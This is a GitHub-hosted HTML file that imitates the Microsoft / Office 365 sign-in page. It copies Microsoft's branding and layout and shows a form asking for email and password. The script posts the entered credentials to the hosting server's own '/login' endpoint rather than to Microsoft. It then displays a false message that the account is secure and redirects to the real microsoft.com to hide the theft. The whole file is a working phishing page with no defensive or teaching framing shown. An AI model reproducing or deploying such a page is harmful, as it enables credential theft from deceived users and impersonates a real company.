-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlogin.html
More file actions
129 lines (113 loc) · 3.37 KB
/
Copy pathlogin.html
File metadata and controls
129 lines (113 loc) · 3.37 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sign in to your Microsoft account</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background: white;
padding: 44px;
box-shadow: 0 2px 6px rgba(0,0,0,.2);
width: 440px;
text-align: center;
}
.logo {
font-size: 24px;
font-weight: 600;
color: #5E5E5E;
margin-bottom: 32px;
}
h1 {
font-size: 24px;
font-weight: 600;
color: #1b1b1b;
margin-bottom: 16px;
}
.subtitle {
font-size: 15px;
color: #605e5c;
margin-bottom: 24px;
}
input {
width: 100%;
padding: 12px;
margin-bottom: 16px;
border: 1px solid #8a8886;
font-size: 15px;
outline: none;
}
input:focus {
border-color: #0067b8;
}
button {
width: 100%;
padding: 12px;
background-color: #0067b8;
color: white;
border: none;
font-size: 15px;
font-weight: 600;
cursor: pointer;
}
button:hover {
background-color: #005a9e;
}
.footer {
margin-top: 24px;
font-size: 13px;
color: #605e5c;
}
.footer a {
color: #0067b8;
text-decoration: none;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">Microsoft</div>
<h1>Sign in</h1>
<div class="subtitle">to continue to Office 365</div>
<form id="loginForm" action="/login" method="POST">
<input type="email" name="email" placeholder="Email, phone, or Skype" required autofocus>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
<div class="footer">
<a href="#">Can't access your account?</a><br>
<a href="#">Sign in with a security key</a>
</div>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const formData = new FormData(this);
fetch('/login', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if(data.status === 'success') {
alert('Verification complete. Your account is secure.');
window.location.href = 'https://www.microsoft.com';
}
});
});
</script>
</body>
</html>